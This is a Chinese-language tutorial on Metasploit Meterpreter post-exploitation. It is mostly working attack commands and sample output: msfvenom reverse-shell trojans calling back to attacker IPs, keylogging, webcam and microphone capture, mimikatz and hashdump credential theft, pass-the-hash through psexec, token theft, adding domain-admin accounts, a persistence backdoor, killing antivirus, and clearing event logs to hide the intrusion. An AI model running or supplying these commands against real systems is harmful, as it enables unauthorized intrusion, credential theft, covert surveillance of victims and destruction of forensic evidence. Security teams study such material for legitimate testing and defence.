Meterpreter命令详解

0x01初识Meterpreter

1.1.什么是Meterpreter

  Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。

  最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。其中,攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。

 需要说明的meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行help之后发现缺少命令。 连上又在内网中使用psexec和bind_tcp的时候经常会出现这种情况

1.2.Meterpreter技术优势

  Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要。

0x02 Meterpreter中常用的反弹类型

1.reverse_tcp

这是一个基于TCP的反向链接反弹shell, 使用起来很稳定

(1)Linux:

使用下列命令生成一个Linux下反弹shell木马:

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444  -f elf -o shell

看上图,我们可以看见目录下已经成功生成木马文件isshell。然后我们给文件加上可执行权限。然后我们打开Metasploit,使用模块handler,设置payload,注意:这里设置的payload要和我们生成木马所使用的payload一样。

Meterpreter命令详解_第1张图片

设置下地址和端口,我们就开始监听了

Meterpreter命令详解_第2张图片

这边运行一下我们的反弹shell木马,可以发现成功反弹回shell了

(2)Windows:

msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe -o 要生成的文件名

msfvenom -p  windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444  -f exe -o  shell.exe

Meterpreter命令详解_第3张图片

这里写图片描述
反向连接shell,使用起来很稳定,需要设置LHOST

2.reverse_http

基于http方式的反向连接,在网速慢的情况下不稳定。

payload:/windows/meterpreter/reverse_http

3.reverse_https

基于https方式的反向连接,在网速慢的情况下不稳定, https如果反弹没有收到数据,可以将监听端口换成443试试

payload:/windows/meterpreter/reverse_https

 

4.bind_tcp

这是一个基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。

使用下列命令生成木马:

msfvenom -p linux/x86/meterpreter/bind_tcp lport=4444  -f elf -o shell

同样道理加权限运行,不演示了。

Meterpreter命令详解_第4张图片

这里注意,我们设置的IP地址和端口就是目标机的。因为这是我们主动来连接它。

0x03 相关Payload

Payload中包含有需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。

Metasploit中的Payload模块主要有以下三种类型:

-Single

-Stager

-Stage

Single是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。

Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信。

Stage是Stager Payload下载的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

在Metasploit中,我们可以通过Payload的名称和使用格式来推断它的类型:

Single Payload的格式为

Stager/Stage Payload的格式为 / 

当我们在Metasploit中执行“show payloads”命令之后,它会给我们显示一个可使用的Payload列表:

Meterpreter命令详解_第5张图片

在这个列表中,windows/powershell_bind_tcp就是一个Single Payload,它不包含Stage Payload。而windows/x64/meterpreter/reverse_tcp则由一个Stager Payload(reverse_tcp)和一个Stage Payload(meterpreter)组成。

0x04 Meterpreter的常用命令

1.基本命令

help# 查看Meterpreter帮助

 

background#返回,把meterpreter后台挂起

bgkill# 杀死一个背景 meterpreter 脚本

bglist#提供所有正在运行的后台脚本的列表

bgrun#作为一个后台线程运行脚本

 

channel#显示活动频道

sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用

sesssions -k  number #与会话进行交互

close# 关闭通道

exit# 终止 meterpreter 会话

quit# 终止 meterpreter 会话

interact id #切换进一个信道

 

run#执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等

 

irb# 进入 Ruby 脚本模式

 

read# 从通道读取数据

write# 将数据写入到一个通道

 

run和bgrun# 前台和后台执行以后它选定的 meterpreter 脚本

use# 加载 meterpreter 的扩展

load/use#加载模块

 

Resource#执行一个已有的rc脚本

2.文件系统命令

cat c:\boot.ini#查看文件内容,文件必须存在

del c:\boot.ini #删除指定的文件

upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload  setup.exe C:\\windows\\system32\

download nimeia.txt /root/Desktop/   # 下载文件到本机上如:download C:\\boot.ini /root/或者download C:\\"ProgramFiles"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/

edit c:\boot.ini  # 编辑文件

getlwd#打印本地目录

getwd#打印工作目录

lcd#更改本地目录

ls#列出在当前目录中的文件列表

lpwd#打印本地目录

pwd#输出工作目录

cd c:\\ #进入目录文件下

rm file #删除文件

mkdir dier #在受害者系统上的创建目录

rmdir#受害者系统上删除目录

dir#列出目标主机的文件和文件夹信息

mv#修改目标主机上的文件名

search -d d:\\www -f web.config #search 文件,如search  -d c:\\  -f*.doc

meterpreter > search -f autoexec.bat  #搜索文件

meterpreter > search -f sea*.bat c:\\xamp\\

enumdesktops     #用户登录数

(1)下载文件

使用命令“download +file path”,将下载目标机器的相对应权限的任何路径下的文件

(2)上传文件

“upload”命令为上传文件到我们的目标机器,在图中我们上传了ll.txt到目标机器的c:\pp\下。

(3)查看文件

“cat filename”在当前目录下查看文件内容,输入命令后便会返回给我们所查看文件的内容。

(4)切换、查询当前路径

“pwd”命令将查询当前在dos命令下的路径,“cd”命令可以改变当前路径,如下图中cd ..为切换到当前路径下的上一目录。

(5)“sysinfo”命令

“sysinfo”命令为显示远程主机的系统信息,显示计算机、系统信息、结构、语言等信息。可以看到远程主机的操作系统是windows XP service pack 2,sp2这个系统有很多漏洞。

Meterpreter命令详解_第6张图片

(6)execute命令

“execute”命令为目标主机上执行一个命令,其中“execute -h”显示帮助信息。-f为执行要运行的命令,

Meterpreter命令详解_第7张图片

在目标主机上运行某个程序,例如我们目前注入进程到explorer.exe后,运行用户为超级管理administrator

我们运行一下目标主机上的记事本程序

execute  -f notepad.exe


目标主机上立马弹出来一个记事本程序,如下图:
Meterpreter命令详解_第8张图片
这样太明显,如果希望隐藏后台执行,加参数-H

execute  -H -f notepad.exe

此时目标主机桌面没反应,但我们在meterpreter会话上使用ps命令看到了
Meterpreter命令详解_第9张图片
再看一个,我们运行目标主机上的cmd.exe程序,并以隐藏的方式直接交互到我们的meterpreter会话上

命令:

execute  -H -i -f cmd.exe

Meterpreter命令详解_第10张图片

这达到的效果就跟使用shell命令一样了

再来一个,在目标主机内存中直接执行我们攻击主机上的攻击程序,比如wce.exe,又比如木马等,这样可以避免攻击程序存储到目标主机硬盘上被发现或被查杀。

execute  -H -m -d notepad.exe-f  wce.exe -a "-o wce.txt"

-d 在目标主机执行时显示的进程名称(用以伪装)

-m 直接从内存中执行

 "-o wce.txt"是wce.exe的运行参数

(7)idletime命令

“idletime”命令为显示目标机器截止到当前无操作命令的时间。图中的显示意思为目标主机有操作是在9分19秒之前。

(8)search命令

“search“命令在目标主机搜索特定的文件。该命令能够通过搜索整个系统或特定的文件夹。

使用“search –h”命令来查看search命令的帮助信息:

下图中,“search –f aa.txt”命令为查看目标机中在当前目录以及当前目录的子目录中有没有aa.txt这个文件,若有则显示出其路径。

“search –f l*.txt c:\\pp”为显示出c:\\pp下及pp文件夹下所有的子文件下所有以l开头的txt文件,若有此类文件,则返回其路径和其大小。

(9)edit命令

调用vi编辑器,对目标主机上的文件修改

例如修改目标主机上的hosts文件,使得目标主机访问baidu时去到准备好的钓鱼网站(仅限实验用途)

Meterpreter命令详解_第11张图片
在目标主机上ping www.baidu.com,出来的目标IP就是我们修改的192.168.1.1了

3.网络命令

ipconfig/ifconfig#显示网络接口的关键信息,包括 IP 地址

portfwd -h

用法:portfwd [-h] [add | delete | list | flush] [args]

 

选项:

    -L 要监听的本地主机(可选)

    -h帮助横幅

    -l 要监听的本地端口

    -p 连接到的远程端口

    -r 要连接到的远程主机

portfwd  add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听4444,把目标机3389转到本机4444

netstat -an | grep“4444"  #查看指定端口开放情况

rdesktop -u Administrator -p bk#123 127.0.0.1:4444 #使用rdesktop来连接桌面,-u 用户名 -p 密码

rdesktop 127.1.1.0:4444 #需要输入用户名和密码远程连接

route#查看或修改受害者路由表

route add 192.168.1.0 255.255.255.0 1 #添加动态路由

route print #路由表输出

runget_local_subnets #目标主机的内网IP段情况

Arp       #看ARP缓冲表

Getproxy     #获取代理

(1)portfwd

网络命令则有列出ip信息(ipconfig),展示修改路由表(route),还有端口转发(portfwd)。 比如portfwd:

Meterpreter命令详解_第12张图片

在建立规则之后就可以连接本地3344端口,这样远程的3389端口就转发出来了。

(2)route

使用route命令可以借助meterpreter会话进一步msf渗透内网,我们已经拿下并产生meterpreter反弹会话的主机可能出于内网之中,外有一层NAT,我们无法直接向其内网中其他主机发起攻击,则可以借助已产生的meterpreter会话作为路由跳板,攻击内网其它主机。

可以先使用run get_local_subnets命令查看已拿下的目标主机的内网IP段情况

命令:run  get_local_subnets

如下图:

其内网有192.168.249.0/24网段,我们无法直接访问

下面做一条路由,下一跳为当前拿下主机的sessionid(目前为5),即所有对249网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递。

命令:route add  192.168.249.0 255.255.255.0 5

再使用route print查看一下路由表,效果如下图:

Meterpreter命令详解_第13张图片
最后我们就可以通过这条路由,以当前拿下的主机meterpreter作为路由跳板攻击249网段中另一台有ms08-067漏洞的主机,获得反弹会话成功顺利拿下了另一台内网主机192.168.249.1,如下图:

Meterpreter命令详解_第14张图片

大多时候我们获取到的meterpreter shell处于内网,而我们需要代理到目标内网环境中,扫描其内网服务器。这时可以使用route功能,添加一条通向目标服务器内网的路由。

查看shell网络环境:

meterpreter>run get_local_subnets

添加一条通向目标服务器内网的路由

meterpreter>run autoroute -s 100.0.0.0/8   #(根据目标内网网络而定)

查看路由设置:

meterpreter>run autoroute –p

一般来说,在meterpreter中设置路由便可以达到通往其内网的目的。然而有些时候还是会失败,这时我们可以background返回msf>,查看下外面的路由情况。

route print

如果发现没有路由信息,说明meterpreter shell设置的路由并没有生效,我们可以在msf中添加路由。

msf>route add 10.0.0.0 255.0.0.0 1

说明:1表示session 1,攻击机如果要去访问10.0.0.0/8网段的资源,其下一跳是session1,至于什么是下一条这里不多说了,反正就是目前攻击机可以访问内网资源了。

 

4.键盘监听

Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:

keyscan_start:开启键盘记录功能

keyscan_dump:显示捕捉到的键盘记录信息

keyscan_stop:停止键盘记录功能

uictl enable keyboard/mouse#接管目标主机的键盘和鼠标。

meterpreter > keyscan_start #针对远程目标主机开启键盘记录功能

Starting the keystroke sniffer...

meterpreter > keyscan_dump #存储目标主机上捕获的键盘记录

Dumping captured keystrokes...

dir cd 

meterpreter > keyscan_stop #停止针对目标主机的键盘记录

Stopping the keystroke sniffer...

 

Meterpreter命令详解_第15张图片

这里需要注意一下windows会话窗口的概念,windows桌面划分为不同的会话(session),以便于与windows交互。会话0代表控制台,1,2代表远程桌面。所以要截获键盘输入必须在0中进行。可以使用getdesktop查看或者截张图试试。否则使用setdesktop切换。

Meterpreter命令详解_第16张图片

如果不行就切换到explorer.exe进程中,这样也可以监听到远程桌面连接进来之后的键盘输入数据。

 

5.系统命令

reboot#重新启动受害人的计算机

reg#与受害人的注册表进行交互

rev2self#回到控制目标主机的初始用户账户下

shell#获得控制台权限

shutdown#关闭了受害者的计算机

sysinfo # 查看目标机系统信息,如机器名,操作系统等

add_user username password -h ip    #在远程目标主机上添加一个用户

add_group_user "Domain Admins" username -h ip    #将用户添加到目标主机的域管理员组中

shell命令

获取目标主机的远程命令行shell,如果出错,考虑是目标主机限制了cmd.exe的访问权,可以使用migrate注入到管理员用户进程中再尝试

Meterpreter命令详解_第17张图片

6.mimikatz

meterpreter > load mimikatz  #加载mimikatz

meterpreter > msv #获取hash值

meterpreter > kerberos #获取明文

meterpreter >ssp   #获取明文信息

meterpreter > wdigest #获取系统账户信息

meterpreter >mimikatz_command -f a::   #必须要以错误的模块来让正确的模块显示

meterpreter >mimikatz_command -f hash::   #获取目标 hash

meterpreter > mimikatz_command -f samdump::hashes

meterpreter > mimikatz_command -f sekurlsa::searchPasswords

 

Meterpreter命令详解_第18张图片

7.网络嗅探

meterpreter > use sniffer # 加载嗅探模块

Loading extension sniffer...success.

meterpreter > sniffer_interfaces #列出目标主机所有开放的网络接口

    1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )

    2 - 'Intel(R) PRO/1000 MT Desktop Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )

    3 - 'Cisco Systems VPN Adapter' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )

meterpreter > sniffer_start 2 #获取正在实施嗅探网络接口的统计数据

[*] Capture started on interface 2 (50000 packet buffer)

meterpreter > sniffer_dump 2 /tmp/test2.cap #在目标主机上针对特定范围的数据包缓冲区启动嗅探

[*] Flushing packet capture buffer for interface 2...

[*] Flushed 1176 packets (443692 bytes)

[*] Downloaded 100% (443692/443692)...

[*] Download completed, converting to PCAP...

[*] PCAP file written to /tmp/test2.cap

meterpreter > sniffer_stop  2   #停止嗅探

Metasploit包含sniffer脚本。Meterpreter的这个模块可以用来做数据包捕获,不需要在远程机器上安装任何软件:

首先执行use sniffer命令作用为使用嗅探脚本。

sniffer_interfaces命令为获取网卡的信息,得到我们的ID为1.

sniffer_start ID命令开始嗅探。

sniffer_dump ID filepath保存抓取的数据包,本例中/tmp/1.cap是抓取数据包的保存路径。

Meterpreter命令详解_第19张图片

对抓取的包进行解包:

use auxiliary/sniffer/psnuffle

set pcapfile 1.cap

run

Meterpreter命令详解_第20张图片

然后在shell中中输入:wireshark,加载这个/tmp/xpsp1.cap包即可:

Meterpreter命令详解_第21张图片

8.获取敏感信息

run post/windows/gather/checkvm #是否虚拟机

run post/windows/gather/enum_applications #获取安装软件信息

run post/windows/gather/dumplinks   #获取最近的文件操作

run post/windows/gather/enum_ie  #获取IE缓存

run post/windows/gather/enum_chrome   #获取Chrome缓存

run scraper                      #获取常见信息

#保存在~/.msf4/logs/scripts/scraper/目录下

(1)post/windows/gather/enum_application模块获取目标主机上的软件安装信息

命令:run post/windows/gather/enum_applications

效果如图:

(2) post/windows/gather/enum_ie后渗透模块,读取目标主机IE浏览器cookies等缓存信息,嗅探目标主机登录过的各类账号密码

命令:run  post/windows/gather/enum_ie

效果如下图:

Meterpreter命令详解_第22张图片

获取到的目标主机上的ie浏览器缓存历史记录和cookies信息等都保存到了攻击主机本地的/root/.msf5/loot/目录下,这里说IE7以上才有效

9.获取Hash

使用“hashdump”命令可以从系统提取用户名和密码hashes。使用hashdump命令可以获取目标主机的SAM文件,获取目标主机的账号密码hash信息,剩下的可以用爆破软件算出明文密码,微软一般用LM,NTML和NTLMv2形式的哈希表存储密码。若想运行这个命令, 需要有注册表和SAM [Security Account Manager]的系统的权限,如果你是作为一个普通的用户登陆的话,你需要提升权限,这我们将在后面提到。

meterpreter > run post/windows/gather/smart_hashdump

[*] Running module against TESTING

[*] Hashes will be saved to the database if one is connected.

[*] Hashes will be saved in loot in JtR password file format to:

[*] /home/croxy/.msf4/loot/20150929225044_default_10.0.2.15_windows.hashes_407551.txt

[*] Dumping password hashes...

[*] Running as SYSTEM extracting hashes from registry

[*]     Obtaining the boot key...

[*]     Calculating the hboot key using SYSKEY 8c2c8d96e92a8ccfc407a1ca48531239...

[*]     Obtaining the user list and keys...

[*]     Decrypting user keys...

[*]     Dumping password hints...

[+]Croxy:"Whoareyou"

[*]     Dumping password hashes...

[+]Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 

[+]HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:e3f0347f8b369cac49e62a18e34834c0:::

[+]test123:1003:aad3b435b51404eeaad3b435b51404ee:0687211d2894295829686a18ae83c56d:::

脚本和post模块都需要通过“run”命令执行,我在测试环境中运行hashdump模块后的结果如下:

 

Meterpreter命令详解_第23张图片

数据的输出格式为:用户名:SID:LM哈希:NTLM哈希:::,所以我们得到了三个用户账号,分别为Administrator, Guest和Coen。

其中的LM哈希(aad3b435b51404eeaad3b435b51404ee)跟NTLM哈希(31d6cfe0d16ae931b73c59d7e0c089c0)对应的是一个空密码。

接下来要处理的就是用户Coen的密码(f773c5db7ddebefa4b0dae7ee8c50aea)了。虽然我们可以使用类似John the Ripper这样的工具来破解密码,但是我们直接Google这个哈希之后,就直接得到了密码明文:trustno1。

 

Meterpreter命令详解_第24张图片

use post/windows/gather/hashdump

set session 4

run

Meterpreter命令详解_第25张图片

  1. 检查已有权限+系统类型  
  2. 检查是否为域控制器  
  3. 从注册表读hash,若失败,注入LSASS进程;若域控制器,直接注入LSASS进程  
  4. 若win2008+会话管理员权限,尝试使用getsystem,若在system不能注入LSASS,先migrate到system权限下的进程,继续注入LSASS  
  5. 若win7/Vista+UAC关闭+会话管理员权限,尝试getsystem,读取hash  
  6. 若win2003/xp/2000,直接getsystem,读取hash  

 

10.通过Hash获取权限

msf > use exploit/windows/smb/psexec

msf exploit(psexec) > show options   

 

Module options (exploit/windows/smb/psexec):   

 

Name       Current Setting  Required  Description

-------------------  --------  -----------

RHOST                       yes       The target address

RPORT      445              yes       Set the SMB service port

SHAREADMIN$           yes       The share to connect to, can be an admi                                              n share

 

(ADMIN$,C$,...) or a normal read/write folder share

SMBDomainWORKGROUP        no        The Windows domain to use for authentication

SMBPass                     no        The password for the specified username

SMBUser                     no        The username to authenticate as   

 

Exploit target:   

 

Id  Name

--  ----

0   Automatic   

 

msf exploit(psexec) > set RHOST 192.168.0.254

RHOST => 192.168.0.254

msf exploit(psexec) > set SMBUser isosky

SMBUser => isosky

msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537   

 

SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537

msf exploit(psexec) > exploit

[*] Started reverse handler on 192.168.0.3:4444

[*] Connecting to the server...

[*] Authenticating to 192.168.0.254:445|WORKGROUP as user 'isosky'...

[*] Uploading payload...

[*] Created \UGdecsam.exe...

[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ...

[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ...

[*] Obtaining a service manager handle...

[*] Creating a new service (MZsCnzjn - "MrZdoQwIlbBIYZQJyumxYX")...

[*] Closing service handle...

[*] Opening service...

[*] Starting the service...

[*] Removing the service...

[*] Closing service handle...

[*] Deleting \UGdecsam.exe...

[*] Sending stage (749056 bytes) to 192.168.0.254

[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.254:1877) at 2011-07-19 03:57:17 +0800

11.捕捉屏幕

要想查看到远程机器当前的桌面信息,可以使用“screenshot”命令,可以看到,此命令不仅把对方的桌面给显示了出来而且把桌面作为图片形式保存在了本地。我们通过桌面的信息可以知道一些对我们入侵有帮助的信息,比如对方的杀毒软件的类型等等。

我们可以使用“screenshot”命令来进行屏幕截图并存储在我们的系统之中。Meterpreter命令详解_第26张图片

截取的效果如下所示:

Meterpreter命令详解_第27张图片

12.得到远程桌面

使用命令“run vnc”将会弹出窗口,在此窗口中就是对方现在打开的桌面情况,在这里,可以对远程机器进行操控。

 

Meterpreter命令详解_第28张图片

 

Meterpreter命令详解_第29张图片

 

13.权限提升

这是meterpreter中实施漏洞利用系统特权要求的一个重要的模块。为了这个目的,我们必须用PRIV extention.,在旧版本的Metasploit中Priv extension并不自动装载,使用“use priv”手动加载的。然而在后来的msf版本中并不需要担心这一点。

使用“getuid”获得当前的权限,migrate+PID迁移进程(当我们攻击一个系统是,常常是对像是IE之类的服务漏洞进行利用的,可是不免有对方关闭IE的情况,那么我们的meterpreter会话将会关闭,从而导致与目标系统失去连接,所以我们可以使用迁移进程后的攻击模块,将sessions迁移到内存空间中的其他稳定的、不会被关闭的服务进程中,以维持稳定的系统控制),从列表中看到PID为500的是administrator权限,所以是迁移到administrator的权限,“getsystem –h”升级为权限SYSTEM账户。这个模块可以用来提升我们的特权,有四个技巧。Meterpreter自动检查四个方法并且尝试其最好方法。然后看到我们权限又变为了system权限了。

ps#列出正在运行的进程

kill pid # 杀死进程

migrate pid # 将Meterpreter会话移植到进程数为pid的进程中,需要注意的是如果存在杀软的话可能会阻止进程注入,所以把会话进程注入到svchost.exe是一个好方法

getprivs#尽可能获取尽可能多的特权

getuid #获得当前的权限

getsystem #通过各种攻击向量将一个管理帐户(通常为本地Administrator账户)提升为本地SYSTEM帐户

getsystem –h #升级权限SYSTEM账户

使用MS14-058之类的Exp进行提权:

meterpreter > background

[*] Backgrounding session 3..

msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu

msf exploit(ms14_058_track_popup_menu) > set SESSION 3

use priv#加载特权提升扩展模块,来扩展Meterpreter库

 

列出远程机器的进程和进程ID方便迁移我们的进程,进而改变我们的权限。使用“ps”命令。

 

Meterpreter命令详解_第30张图片

在得到的进程列表后,可以实现迁移进程,用getpid查看当前进程号,然后根据上图既可以知道当前的权限,若再用migrate+pid,就会迁移到另一个进程中,然后我们的权限就改变了。

手把手教你如何利用Meterpreter渗透Windows系统

14.盗取令牌

meterpreter >use incognito    加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)

meterpreter >list_tokens -u    列出目标主机用户的可用令牌

meterpreter >list_tokens -g    列出目标主机用户组的可用令牌

meterpreter >impersonate_token DOMAIN_NAME\\USERNAME    假冒目标主机上的可用令牌,如meterpreter > impersonate_token QLWEB\\Administrato

meterpreter >execute -f cmd.exe -i -t #调用域权限shell

meterpreter > getuid

meterpreter>add_user 0xfa funny –h192.168.3.98  #在域控主机上添加账户

meterpreter>reg command   # 在目标主机注册表中进行交互,创建,删除,查询等操作

meterpreter>setdesktop number   #切换到另一个用户界面(该功能基于哪些用户已登录)

meterpreter>ps #查看目标机器进程,找出域控账户运行的进程ID

meterpreter>steal_token pid #盗窃给定进行的可用令牌并进行令牌假冒

meterpreter>drop_token pid #停止假冒当前令牌

 

另一个提权的方法是扮演一个帐户从一个特定进程偷取令牌。为此,我们需要“incognito”扩展,使用“steal_token+PID”这个例子中我们使用的是steal_token 640,其中由前面执行ps后得到的信息可知,PID为640的权限为administrator,所以我们在执行命令后虽然提示错误信息,但是它仍会被成功在后台执行,所以在运行steal_token后核实UID,我们的权限就变为了administrator了。

 

load incognito

list_tokens -u

impersonate_token xxxxx\\xxxxxxx

execute -f cmd.exe -i -t

Meterpreter命令详解_第31张图片

15.清除事件日志

完成攻击操作之后,千万别忘了“打扫战场”。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用命令“clearev”命令来清除事件日志

执行“clearev”命令,将清除事件日志。这个命令没有任何选项或参数。

 

执行“clearev”命令后打开目标机器的事件查看器里面的应用程序、安全性、系统都是是空的:

Meterpreter命令详解_第32张图片

 

16.网络摄像头

record_mic    #音频录制

webcam_chat   #查看摄像头接口

webcam_list   #查看摄像头列表

webcam_stream  #摄像头视频获取

webcam_list

meterpreter > webcam_list

1: Creative WebCam NX Pro

2: Creative WebCam NX Pro (VFW)

meterpreter >

webcam_snap

meterpreter > webcam_snap -h

Usage: webcam_snap [options]

OPTIONS:

    -h      Help Banner

    -i >opt>  The index of the webcam to use (Default: 1)

    -p >opt>  The JPEG image path (Default: 'gnFjTnzi.jpeg')

    -q >opt>  The JPEG image quality (Default: '50')

    -v >opt>  Automatically view the JPEG image (Default: 'true')

meterpreter >

OPTIONS:

-h:    Displays the help information for the command

-i opt:       If more then 1 web cam is connected, use this option to select the device to capture the

        image from

-p opt:       Change path and filename of the image to be saved

-q opt:       The imagine quality, 50 being the default/medium setting, 100 being best quality

-v opt:       By default the value is true, which opens the image after capture

Example usage:

meterpreter > webcam_snap -i 1 -v false

[*] Starting...

[+] Got frame

[*] Stopped

Webcam shot saved to: /root/Offsec/YxdhwpeQ.jpeg

meterpreter >

“webcam_snap”命令为抓取目标主机当前的摄像头拍摄到的画面,并将它以图片形式保存到本地,“webcam_snap –h”命令为查看参数的使用方法。由于我们的实验中目标机器没有摄像头,所以我们运行“webcam_snap -i 1 -v false”命令之后返回以下信息。

Meterpreter命令详解_第33张图片

 

Meterpreter命令详解_第34张图片

17.一些脚本命令

为获取远程机器上的信息,在meterpreter中还有很多脚本可用,做更大的渗透测试。

使用“run scriptname”来使用meterpreter模块中的脚本命令

(1)调用post/windows/gather/checkvm后渗透模块,确定目标主机是否是一台虚拟机

命令:

run  post/windows/gather/checkvm

效果如下图:

 

同样有许多类似这样的脚本,下面来介绍几个重要的脚本:

(2) packetrecorder——“run packetrecorder”查看目标系统的所有网络流量,并且进行数据包记录,-i 1指定记录数据包的网卡。

从下图中运行之后返回的信息中可以到我们需要查看的目标系统的网络流量信息将被存储的路径,可以到下面路径中直接查看。

 

(3)get_local_subnets——“run get_local_subnets”得到本地子网网段

(4)getcountermeasure—run getcountermeasure显示HIPS和AV进程的列表,显示远程机器的防火墙规则,列出DEP和UAC策略

 

Meterpreter命令详解_第35张图片

(5) scraper——“run scraper”从目标主机获得所有网络共享等信息

并且获得的这些所有这些信息都存储在/root/.msf4/logs/scripts/scraper directory目录下。使用ls命令查看存储的这些文件。

Meterpreter命令详解_第36张图片

 

Meterpreter命令详解_第37张图片

(6) killav——“run killav”命令终止Av进程,可以很快的清除我们的路径和有效渗透测试的记录

但是这个脚本,不能绝对得逃避杀毒软件,但是如果成功了对被攻击者会是一个严重的打击,对他造成很大的困扰

 

使用了 “run killav”命令后xp会终止Av进程然后弹出窗口:

 

Meterpreter命令详解_第38张图片

(7)hashdump——“run hashdump”获得密码哈希值

运行这个脚本和在meterpreter下直接运行hashdump结果差不多。

Meterpreter命令详解_第39张图片

(8)keylogrecorder——“run keylogrecorder”命令为记录键盘信息

运行这个脚本和在meterpreter下直接运行keyscan结果差不多,这里将对键盘记录的文件进行保存,路径如下。

 

Meterpreter命令详解_第40张图片

(9) persistence——“run persistence”这个脚本可以被用作持续欺骗主机   

远程主机重启后将在特定的时间间隔保持meterpreter会话

run  persistence -X -i  5  -p 4444 -r 172.17.11.18   #植入后门

-X 在目标主机上开机自启动

-i  不断尝试反向连接的时间间隔

persistence后渗透模块向目标主机植入后门程序

效果如下图:

Meterpreter命令详解_第41张图片
执行过程:

创建攻击载荷->攻击载荷植入到目标主机c:\windows\temp目录下,是一个.vbs的脚本->写目标主机注册表键值实现开机自动运行。
下图,在攻击主机上监听4444端口,等待反弹会话成功

Meterpreter命令详解_第42张图片

下图,看目标主机注册表Run键值果然被写入了一个pDTizIlNK的键值,执行后门vbs脚本
Meterpreter命令详解_第43张图片

 

(10)enum_drives

这个后渗透攻击模块是获取目标主机磁盘分区信息,我们就以这个例讲解后渗透攻击模块使用方法。

后渗透模块post/windows/gather/forensics/enum_drives调用

在获取meterpreter会话session后,调用post/windows/gather/forensics/enum_drives,可获取目标主机存储器信息:

命令,在msfconsole下:

use post/windows/gather/forensics/enum_drives

set SESSION 1

exploit

效果如图:

Meterpreter命令详解_第44张图片Meterpreter命令详解_第45张图片
或直接在meterpreter会话中以命令run post/windows/gather/forensics/enum_drives调用

Meterpreter命令详解_第46张图片

我们首先将meterpreter会话放入后台,然后搜索我们的模块。

Meterpreter命令详解_第47张图片

然后使用use命令来使用模块,然后设置一下会话id,接着执行,可以发现成功获取到目标主机磁盘分区的信息。

18.SOCKS代理

Metasploit可以作为一个SOCKS代理服务器,具体步骤为首先通过Metasploit的某些模块建立会话,就像本章前面介绍的,建立完会话之后,执行“route add +IP+mask+SID”,本例中我们路由的ip网段为10.1.1.0,然后使用“use auxiliary/server/socks4a”命令来使用sock4a模块,执行run命令 ,socks便会执行

